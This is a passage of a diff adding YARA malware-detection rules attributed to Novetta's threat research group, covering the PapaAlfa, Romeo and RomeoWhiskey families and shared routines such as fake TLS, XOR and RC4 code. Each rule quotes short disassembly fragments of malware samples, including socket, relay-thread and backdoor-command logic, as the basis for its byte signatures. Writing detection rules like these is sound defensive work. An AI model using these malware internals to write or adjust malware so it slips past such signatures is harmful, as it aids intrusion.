+		8D 54 24 5E                    lea     edx, [esp+98h+var_3A]
+		53                             push    ebx             ; dwSize
+		52                             push    edx             ; pvBuffer
+		E8 3F FB FF FF                 call    GenerateRandomBuffer
+		83 C4 08                       add     esp, 8
+		83 C3 46                       add     ebx, 46h
+	*/
+
+	$authenicateBufferGen = {
+			BB 01 
+			74 ??
+			FF 15 [4]
+			99 
+			B? 32 00 00 00 
+			F7 ?? 
+			8B ?? 
+			8D [3]
+			5? 
+			5? 
+			E8 [4]
+			83 C4 08 
+			83 ?? 46 
+		}
+	
+	condition:
+		$authenicateBufferGen in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $fileDecoder in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule PapaAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "pmsconfig.msi" wide
+		$ = "pmslog.msi" wide
+		$ = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d"
+		$ = "CreatP2P Thread" wide
+		$ = "GreatP2P Thread" wide
+	condition:
+		3 of them
+}
+
+import "pe"
+
+rule RomeoAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "fba0b8bdc1be44d100ac31b864830fcc9d056f1f5ab5486384e09bd088256dd0.file2.bin"
+
+	strings:
+	/*
+		68 C4 94 41 00     push    offset a0_0_0_0 ; "0.0.0.0"
+		56                 push    esi             ; wchar_t *
+		E8 1C B4 00 00     call    _wcscpy
+		83 C6 28           add     esi, 28h
+		83 C4 08           add     esp, 8
+		81 FE E8 CD 41 00  cmp     esi, offset unk_41CDE8
+		7C E7              jl      short loc_4039DA
+	*/
+
+	$zeroIPLoader = {
+			68 [4] 
+			56 
+			E8 [4] 
+			83 C6 28 
+			83 C4 08 
+			81 FE [4] 
+			7C E? 
+		}
+		
+
+
+		// push    esi                              
+		// mov     esi, [esp+4+a1]                  
+		// test    esi, esi                         
+		// jle     short loc_403FEB                 
+		// push    edi                              
+		// mov     edi, ds:Sleep                    
+		// push    0EA60h          ; dwMilliseconds 
+		// call    edi ; Sleep                      
+		// dec     esi                              
+		// jnz     short loc_403FE0                 
+		// pop     edi                              
+		// pop     esi                              
+		// retn                                     
+		$sleeper  = {
+				5? 
+				8B [3]                       
+				85 ??                        
+				7E ??                        
+				5? 
+				8B 3D [4]                    
+				68 [4]               
+				FF ??                        
+				4? 
+				75 ??                        
+				5? 
+				5? 
+				C3                           
+			}
+			
+		$xercesc = "xercesc"
+		
+	condition:
+		($sleeper in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $zeroIPLoader in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size)))
+		and not $xercesc
+}
+
+
+import "pe"
+
+rule RomeoBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "95314a7af76ec36cfba1a02b67c2b81526a04e3b2f9b8fb9b383ffcbcc5a3d9b"
+
+	strings:
+	/*
+		E8 D9 FC FF FF  call    SendData
+		83 C4 10        add     esp, 10h
+		85 C0           test    eax, eax
+		74 0A           jz      short loc_10003FE8
+		B8 02 00 00 00  mov     eax, 2
+		5E              pop     esi
+		83 C4 18        add     esp, 18h
+		C3              retn
+		6A 78           push    78h             ; dwTimeout
+		6A 01           push    1               ; fDecode
+		8D 54 24 18     lea     edx, [esp+24h+recvData]
+		6A 0C           push    0Ch             ; dwLength
+		52              push    edx             ; pvBuffer
+		56              push    esi             ; skt
+		E8 57 FD FF FF  call    RecvData
+		83 C4 14        add     esp, 14h
+		85 C0           test    eax, eax
+		74 0A           jz      short loc_1000400A
+		B8 02 00 00 00  mov     eax, 2
+	*/
+
+	$a = {
+			E8 [4] 
+			83 C4 10 
+			85 C0 
+			74 ?? 
+			B? 02 00 00 00 
+			5? 
+			83 C4 18 
+			C3 
+			6A 78 
+			6A 01 
+			8D [3]
+			6A 0C 
+			5? 
+			5? 
+			E8 [4]
+			83 C4 14 
+			85 C0 
+			74 ?? 
+			B8 02 00 00 00 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule RomeoCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "a82108ef7115931b3fbe1fab99448c4139e22feda27c1b1d29325710671154e8"
+
+	strings:
+		$auth1 = "Success - Accept Auth"
+		$auth2 = "Fail - Accept Auth"
+
+	/*
+		81 E3 FF FF 00 00  and     ebx, 0FFFFh
+		8B EB              mov     ebp, ebx
+		57                 push    edi
+		C1 EE 10           shr     esi, 10h
+		81 E5 FF FF 00 00  and     ebp, 0FFFFh
+		8B FE              mov     edi, esi
+		8B C5              mov     eax, ebp
+		81 E7 FF FF 00 00  and     edi, 0FFFFh
+		C1 E0 10           shl     eax, 10h
+		6A 00              push    0               ; _DWORD
+		0B C7              or      eax, edi
+		6A 00              push    0               ; _DWORD
+		50                 push    eax             ; _DWORD
+		68 10 14 11 71     push    offset sub_71111410; _DWORD
+		6A 00              push    0               ; _DWORD
+		6A 00              push    0               ; _DWORD
+		FF 15 5C 8E 12 71  call    CreateThread_0
+		C1 E7 10           shl     edi, 10h
+	*/
+
+	$startupRelayThreads = {
+			81 ?? FF FF 00 00 
+			8B ?? 
+			5? 
+			C1 ?? 10 
+			81 ?? FF FF 00 00 
+			8B ?? 
+			8B ?? 
+			81 ?? FF FF 00 00 
+			C1 ?? 10 
+			6A 00 
+			0B ?? 
+			6A 00 
+			50 
+			68 [4] 
+			6A 00 
+			6A 00 
+			FF 15 [4] 
+			C1 ?? 10 
+		}
+
+	/*
+	source: 641808833ad34f2e5143001c8147d779dbfd2a80a80ce0cfc81474d422882adb
+		25 00 20 00 00     and     eax, 2000h
+		3D 00 20 00 00     cmp     eax, 2000h
+		0F 94 C1           setz    cl
+		81 E2 80 00 00 00  and     edx, 80h
+		33 C0              xor     eax, eax
+		80 FA 80           cmp     dl, 80h
+		0F 94 C0           setz    al
+		03 C8              add     ecx, eax
+		33 D2              xor     edx, edx
+		83 F9 01           cmp     ecx, 1
+	*/
+
+	$crypto = {
+			2? 00 20 00 00 
+			3? 00 20 00 00 
+			0F [2] 
+			81 ?? 80 00 00 00 
+			33 ?? 
+			80 ?? 80 
+			0F [2] 
+			03 ?? 
+			33 ?? 
+			83 ?? 01 
+		}
+
+	condition:
+		all of ($auth*) 
+		or $startupRelayThreads in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $crypto in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+import "pe"
+
+rule RomeoDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "1df2af99fb3b6e31067b06df07b96d0ed0632f85111541a416da9ceda709237c"
+
+	strings:
+	/*
+		E8 78 00 00 00  call    GenerateRandomBuffer
+		33 C0           xor     eax, eax
+		8A 4C 04 04     mov     cl, [esp+eax+24h+buffer]
+		80 E9 22        sub     cl, 22h
+		80 F1 AD        xor     cl, 0ADh
+		88 4C 04 04     mov     [esp+eax+24h+buffer], cl
+		40              inc     eax
+		83 F8 10        cmp     eax, 10h
+		7C EC           jl      short loc_1000117A
+		6A 01           push    1               ; fEncode
+		8D 54 24 08     lea     edx, [esp+28h+buffer]
+		6A 10           push    10h             ; dwDataLength
+		52              push    edx             ; pvData
+		8B CB           mov     ecx, ebx        ; this
+		E8 A2 00 00 00  call    CSocket__Send
+	*/
+
+	$loginInit = { E8 [4] 33 C0 8A [3] 80 [2] 80 [2] 88 [3] 40 83 F8 10 7C ?? 6A 01 8D [3] 6A 10 5? 8B CB E8	}
+
+	condition:
+		$loginInit in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+import "pe"
+
+rule RomeoEcho
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "%s %-20s %10lu %s"
+		$ = "_quit"
+		$ = "_exe"
+		$ = "_put"
+		$ = "_get"
+
+	condition:
+		all of them
+}
+
+
+import "pe"
+
+
+rule RomeoFoxtrot
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "dropped.bin"
+		Source_relativeCalls = "635bebe95671336865f8a546f06bf67ab836ea35795581d8a473ef2cd5ff4a7f"
+
+	strings:
+	/*
+		C7 44 24 08 01 00 00 00  mov     [esp+128h+argp], 1
+		8B 8C 24 30 01 00 00     mov     ecx, dword ptr [esp+128h+wPort]
+		C7 44 24 04 00 00 20 03  mov     dword ptr [esp+128h+optval], 3200000h
+		51                       push    ecx             ; hostshort
+		89 44 24 1C              mov     dword ptr [esp+12Ch+name.sin_addr.S_un], eax
+		FF 15 8C 01 FF 7E        call    ds:htons
+		6A 06                    push    6               ; protocol
+		6A 01                    push    1               ; type
+		6A 02                    push    2               ; af
+		66 89 44 24 22           mov     [esp+134h+name.sin_port], ax
+		66 C7 44 24 20 02 00     mov     [esp+134h+name.sin_family], 2
+		FF 15 84 01 FF 7E        call    ds:socket								     <--- this could be a relative call in some variants
+		83 F8 FF                 cmp     eax, 0FFFFFFFFh
+		89 46 04                 mov     [esi+4], eax
+		0F 84 AD 00 00 00        jz      loc_7EFE4C63
+		57                       push    edi
+		8B 3D 88 01 FF 7E        mov     edi, ds:setsockopt            <---- this line is missing when relative calls are used
+		8D 54 24 08              lea     edx, [esp+12Ch+optval]
+		6A 04                    push    4               ; optlen
+		52                       push    edx             ; optval
+		68 02 10 00 00           push    1002h           ; optname
+		68 FF FF 00 00           push    0FFFFh          ; level
+		50                       push    eax             ; s
+		FF D7                    call    edi ; setsockopt								<--- this could be a relative call in some variants
+		8B 4E 04                 mov     ecx, [esi+4]
+		8D 44 24 08              lea     eax, [esp+12Ch+optval]
+		6A 04                    push    4               ; optlen
+		50                       push    eax             ; optval
+		68 01 10 00 00           push    1001h           ; optname
+		68 FF FF 00 00           push    0FFFFh          ; level
+		51                       push    ecx             ; s
+		FF D7                    call    edi ; setsockopt								<--- this could be a relative call in some variants
+	*/
+
+		//$connect = {C7 [3] 01 00 00 00 8B [6] C7 [3] 00 00 20 03 5? 89 [3] (FF 15 [4] | E8 [4]) 6A 06 6A 01 6A 02 66 [4] 66 [4] 02 00 (FF 15 [4] | E8 [4]) 83 F8 FF 89 [2] 0F 84 [4] [0-7] 8D [3] 6A 04 5? 68 02 10 00 00 68 FF FF 00 00 5? (FF D? | E8 [4]) 8B [2] 8D [3] 6A 04 5? 68 01 10 00 00 68 FF FF 00 00 5? (FF D? | E8 [4])}
+		$connect = {C7 [3] 01 00 00 00 8B [6] C7 [3] 00 00 20 03 5? 89 [3] FF 15 [4] 6A 06 6A 01 6A 02 66 [4] 66 [4] 02 00 FF 15 E8 [4] 83 F8 FF 89 [2] 0F 84 [4] [0-7] 8D [3] 6A 04 5? 68 02 10 00 00 68 FF FF 00 00 5? FF D? 8B [2] 8D [3] 6A 04 5? 68 01 10 00 00 68 FF FF 00 00 5? FF D?}
+		$challenge = "POST HTTP REQUEST?"
+        $response = "RESPONSE 200 OK!!!"
+
+	condition:
+		($challenge and $response) or 
+		$connect in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule RomeoGolf
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "7322d6b9328a9c708518c99b03a4ed3aa6ba943d7b439f6b1925e6d52a1828fe"
+
+	strings:
+	/*
+		FF 15 70 80 01 10  call    ds:GetTickCount
+		50                 push    eax             ; unsigned int
+		E8 80 93 00 00     call    _srand
+		83 C4 04           add     esp, 4
+		E8 85 93 00 00     call    _rand
+		C1 E0 10           shl     eax, 10h
+		89 46 0C           mov     [esi+0Ch], eax
+		E8 7A 93 00 00     call    _rand
+		01 46 0C           add     [esi+0Ch], eax
+		E8 72 93 00 00     call    _rand
+		C1 E0 10           shl     eax, 10h
+		89 46 08           mov     [esi+8], eax
+		E8 67 93 00 00     call    _rand
+		01 46 08           add     [esi+8], eax
+	*/
+
+	$idGen = {FF 15 [4] 50 E8 [4] 83 C4 04 E8 [4] C1 ?? 10 89 [2] E8 [4] 01 [2] E8 [4] C1 ?? 10 89 [2] E8 [4] ?? ?? ?? }
+	condition:
+		$idGen in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+import "pe"
+
+rule RomeoHotel
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source_64 = "440cb3f6dd07e2f9e3d3614fd23d3863ecfc08b463b0b327eedf08504f838c90"
+		Source_diskSpace = "1b1496f8f35d32a93c7f16ebff6e9b560a158cc6fce061491f91bc9f43ef5be4"
+
+	strings:
+	/*
+		E8 D3 C7 00 00  call    rand
+		44 8B ED        mov     r13d, ebp
+		44 8B E0        mov     r12d, eax
+		B8 1F 85 EB 51  mov     eax, 51EB851Fh
+		48 8B FD        mov     rdi, rbp
+		41 F7 EC        imul    r12d
+		C1 FA 05        sar     edx, 5
+		8B CA           mov     ecx, edx
+		C1 E9 1F        shr     ecx, 1Fh
+		03 D1           add     edx, ecx
+		6B D2 64        imul    edx, 64h
+		44 2B E2        sub     r12d, edx
+		41 83 C4 3C     add     r12d, 3Ch
+	*/
+
+	$randBuff64 = {
+			E8 [4]
+			44 [2]
+			44 [2] 
+			B? 1F 85 EB 51 
+			48 [2] 
+			41 [2]
+			C1 ?? 05 
+			8B ?? 
+			C1 ?? 1F 
+			03 ?? 
+			6B ?? 64 
+			44 [2] 
+			41 [2] 3C 
+		}
+		
+	/*
+		FF 15 40 70 01 10     call    ds:GetDiskFreeSpaceExA
+		85 C0                 test    eax, eax
+		74 34                 jz      short loc_10005072
+		8B 84 24 20 01 00 00  mov     eax, [esp+11Ch+arg_0]
+		6A 00                 push    0
+		99                    cdq
+		68 00 00 10 00        push    100000h
+		52                    push    edx
+		50                    push    eax
+		E8 4C 7C 00 00        call    __allmul
+	*/
+
+	$diskSpace = {
+			FF 15 [4]
+			85 C0 
+			74 ??
+			8B [6]
+			6A 00 
+			99 
+			68 00 00 10 00 
+			5? 
+			5? 
+			E8
+		}
+		
+	$winst = "winsta0\\default" wide		// this limits the overlap with RomeoGolf
+
+	condition:
+		$randBuff64 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or ($diskSpace in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		and $winst)
+}
+
+// rules specific to the winsec malware families
+import "pe"
+
+rule RomeoWhiskey_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "a8d88714f0bc643e76163d1b8972565e78a159292d45a8218d0ad0754c8f561d"
+
+	strings:
+	/*
+		FF 15 78 A2 00 10  call    GetTickCount_9
+		66 8B C8           mov     cx, ax
+
+		// the next op is a mov or a push/pop depending on the code version
+		53                 push    ebx
+		8F 45 F4           pop     dword ptr [ebp-0Ch]
+		//or
+		89 5D F4           mov     dword ptr [ebp+var_C], ebx
+		
+		
+		66 81 F1 40 1C     xor     cx, 1C40h
+		66 D1 E9           shr     cx, 1
+		81 C1 E0 56 00 00  add     ecx, 56E0h
+		0F B7 C9           movzx   ecx, cx
+		0F B7 C0           movzx   eax, ax
+		81 F1 30 32 00 00  xor     ecx, 3230h
+		C1 E0 10           shl     eax, 10h
+		0B C8              or      ecx, eax
+	*/
+
+	$a = {
+			FF 15 [4] 
+			66 8B C8 
+			[3-4] 
+			66 81 F1 40 1C 
+			66 D1 E9 
+			81 C1 E0 56 00 00 
+			0F B7 C9 
+			0F B7 C0 
+			81 F1 30 32 00 00 
+			C1 E0 10 
+			0B C8 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+
+rule RomeoWhiskey_One
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "5d21e865d57e9798ac7c14a6ad09c4034d103f3ea993295dcdf8a208ea825ad7"
+
+	strings:
+	/*
+		FF 15 D8 5B 00 10  call    GetTickCount_9
+		0F B7 C0           movzx   eax, ax
+		8B C8              mov     ecx, eax
+		// skipped: 6A 01              push    1               ; fDecode
+		C1 E9 34           shr     ecx, 34h         <--- this value could change
+		81 F1 C0 F3 00 00  xor     ecx, 0F3C0h			<--- this value could change
+		// skipped: 6A 04              push    4               ; dwLength
+		C1 E0 10           shl     eax, 10h
+		0B C8              or      ecx, eax
+	*/
+
+	$a = {
+			FF 15 [4]  
+			0F B7 C0
+			8B C8
+			[2-4] 
+			C1 E9 ?? 
+			81 F1 [2] 00 00 
+			[0-2] 
+			C1 E0 10 
+			0B C8 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+// sigs for the various cross-family codes
+import "pe"
+
+rule Caracachs: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		B9 10 00 00 00     mov     ecx, 10h        ; ecx = 16
+		8B 06              mov     eax, [esi]      ; eax = lastValue
+		C1 EA 10           shr     edx, 10h        ; edx = val >> 16
+		81 E2 FF 7F 00 00  and     edx, 7FFFh      ; edx = (val >> 16) & 0x7FFF
+		03 C2              add     eax, edx        ; eax = ((val >> 16) & 0x7FFF) + lastValue
+		8B D0              mov     edx, eax        ; edx = ((val >> 16) & 0x7FFF) + lastValue
+		8B F8              mov     edi, eax        ; edi = ((val >> 16) & 0x7FFF) + lastValue
+		83 E2 0F           and     edx, 0Fh        ; edx = (((val >> 16) & 0x7FFF) + lastValue) & 0xF
+		2B CA              sub     ecx, edx        ; ecx = 16 - ((((val >> 16) & 0x7FFF) + lastValue)) & 0xF
+		D3 EF              shr     edi, cl         ; edi = (((val >> 16) & 0x7FFF) + lastValue) >> ((16 - ((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+		8B CA              mov     ecx, edx        ; ecx = (((val >> 16) & 0x7FFF) + lastValue) & 0xF
+		D3 E0              shl     eax, cl         ; eax = (((val >> 16) & 0x7FFF) + lastValue) << ((((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+		0B F8              or      edi, eax        ; edi = (((val >> 16) & 0x7FFF) + lastValue) >> ((16 - ((val >> 16) & 0x7FFF) + lastValue) & 0xF) | (((val >> 16) & 0x7FFF) + lastValue) << ((((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+		89 3E              mov     [esi], edi      ; pLastValue = (((val >> 16) & 0x7FFF) + lastValue) >> ((16 - ((val >> 16) & 0x7FFF) + lastValue) & 0xF) | (((val >> 16) & 0x7FFF) + lastValue) << ((((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+	*/
+
+	$a = {
+			B? 10 00 00 00 
+			8B ?? 
+			C1 ?? 10 
+			81 ?? FF 7F 00 00 
+			03 ?? 
+			8B ?? 
+			8B ?? 
+			83 ?? 0F 
+			2B ?? 
+			D3 ?? 
+			8B ?? 
+			D3 ?? 
+			0B ?? 
+			89 ?? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule StringDotSimplified: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		F3 AB     rep stosd
+		80 3A 00  cmp     byte ptr [edx], 0
+		74 15     jz      short loc_404170
+		8A 02     mov     al, [edx]
+		3C 2E     cmp     al, 2Eh
+		74 07     jz      short loc_404168
+		3C 20     cmp     al, 20h
+		74 03     jz      short loc_404168
+		88 06     mov     [esi], al
+		46        inc     esi
+	*/
+
+	$a = {
+			F3 AB 
+			80 ?? 00 
+			74 ?? 
+			8A 02 
+			3C 2E 
+			74 ?? 
+			3C 20 
+			74 ?? 
+			88 06 
+			46 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule FakeTLS_ServerHelloGetSelectedCipher: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		24 10           and     al, 10h
+		0C 10           or      al, 10h
+		89 07           mov     [edi], eax
+		66 8B 44 24 14  mov     ax, [esp+0Ch+wCipherSuiteID]
+		66 3D 00 C0     cmp     ax, 0C000h
+		73 34           jnb     short loc_4067C1
+		66 2D 35 00     sub     ax, 35h
+		66 F7 D8        neg     ax
+		1B C0           sbb     eax, eax
+		24 80           and     al, 80h
+		05 00 01 00 00  add     eax, 100h
+		8B D8           mov     ebx, eax
+		53              push    ebx             ; hostshort
+	*/
+
+	$a = {
+			24 10 
+			0C 10 
+			89 ?? 
+			66 8? [3]
+			66 3? 00 C0 
+			73 ?? 
+			66 2? 35 00 
+			66 F7 ?? 
+			1B ?? 
+			2? 80 
+			0? 00 01 00 00 
+			8B ?? 
+			5? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule XORDecodeA7: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		8A 04 17  mov     al, [edi+edx]
+		8B FB     mov     edi, ebx
+		34 A7     xor     al, 0A7h
+		46        inc     esi
+		88 02     mov     [edx], al
+		83 C9 FF  or      ecx, 0FFFFFFFFh
+		33 C0     xor     eax, eax
+		42        inc     edx
+		F2 AE     repne scasb
+		F7 D1     not     ecx
+		49        dec     ecx
+		3B F1     cmp     esi, ecx
+	*/
+
+	$a = {
+			8A [2] 
+			8B ??
+			34 A7 
+			46 
+			88 ?? 
+			83 ?? FF 
+			33 ?? 
+			4? 
+			F2 AE 
+			F7 ?? 
+			4? 
+			3B ?? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule DynamicAPILoading: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; lpProcName
+		56                 push    esi             ; hModule
+		FF 15 20 F0 40 00  call    ds:GetProcAddress
+		68 A8 0C 41 00     push    offset aLo_adlIbr_arYw; "Lo.adL ibr.ar yW"
+		A3 DC 3E 41 00     mov     GetProcAddress_0, eax
+		E8 7D FF FF FF     call    CleanupString
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; _DWORD
+		56                 push    esi             ; _DWORD
+		FF 15 DC 3E 41 00  call    GetProcAddress_0
+		68 94 0C 41 00     push    offset aLoad_LibR_arYa; "Load. Lib r.ar yA"
+		A3 D4 3E 41 00     mov     LoadLibraryW, eax
+		E8 63 FF FF FF     call    CleanupString
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; _DWORD
+		56                 push    esi             ; _DWORD
+		FF 15 DC 3E 41 00  call    GetProcAddress_0
+		68 80 0C 41 00     push    offset a_frE_eliBr_arY; ".Fr e.eLi br.ar y"
+		A3 D8 3E 41 00     mov     LoadLibraryA_0, eax
+		E8 49 FF FF FF     call    CleanupString
+	*/
+
+	$a = {
+			83 C4 ?? 
+			5? 
+			5? 
+			FF 15 [4]
+			68 [4]
+			A3 [4]
+			E8 [4]
+			83 C4 ?? 
+			5? 
+			5? 
+			FF 15 [4]
+			68 [4]
+			A3 [4]
+			E8 [4]
+			83 C4 ?? 
+			5? 
+			5? 
+			FF 15 [4]
+			68 [4]
+			A3 [4]
+			E8
+		}
+
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule DNSCalcStyleEncodeAndDecode: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "975522bc3e07f7aa2c4a5457e6cc16c49a148b9f731134b8971983225835577e"
+
+	strings:
+	/*
+		8A 10     mov     dl, [eax]
+		80 F2 73  xor     dl, 73h					<--- for decoding and encoding, this and
+		80 EA 3A  sub     dl, 3Ah					<--- this could be reversed, but the sig holds since both are 0x80
+		88 10     mov     [eax], dl
+		40        inc     eax
+		49        dec     ecx
+		75 F2     jnz     short loc_1000403C
+	*/
+
+	$a = {
+			8A ?? 
+			80 ?? ?? 
+			80 ?? ?? 
+			88 ?? 
+			4? 
+			4? 
+			75 ?? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule GenerateTLSClientHelloPacket_Test: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		25 07 00 00 80  and     eax, 80000007h
+		79 05           jns     short loc_405EC8; um, nope.. this will always happen
+		48              dec     eax
+		83 C8 F8        or      eax, 0FFFFFFF8h
+		40              inc     eax
+	*/
+
+	$a = {
+			25 07 00 00 80 
+			79 ?? 
+			4? 
+			83 ?? F8 
+			4? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule RC4SboxKeyGen: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "RT_RCDATA_101.bin.bin"
+
+	strings:
+	/*
+		8A 4C 04 08        mov     cl, [esp+eax+108h+sbox]; cl = sbox[i]
+		8B D0              mov     edx, eax
+		81 E2 0F 00 00 80  and     edx, 8000000Fh  ; i % 16
+		79 05              jns     short loc_10003AC8; dl = key[i & 16]
+		4A                 dec     edx
+		83 CA F0           or      edx, 0FFFFFFF0h
+		42                 inc     edx
+	*/
+
+	$a = {
+			8A [3] 
+			8B ?? 
+			81 ?? 0F 00 00 80 
+			79 ?? 
+			4? 
+			83 ?? F0 
+			4? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule RandomTimestampGenerator: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "RT_RCDATA_101.bin.bin joanap baseline sample"
+
+	strings:
+	/*
+		66 81 44 24 0C FE FF  add     [esp+1Ch+SystemTime.wYear], 0FFFEh
+		FF D6                 call    esi ; rand
+		99                    cdq
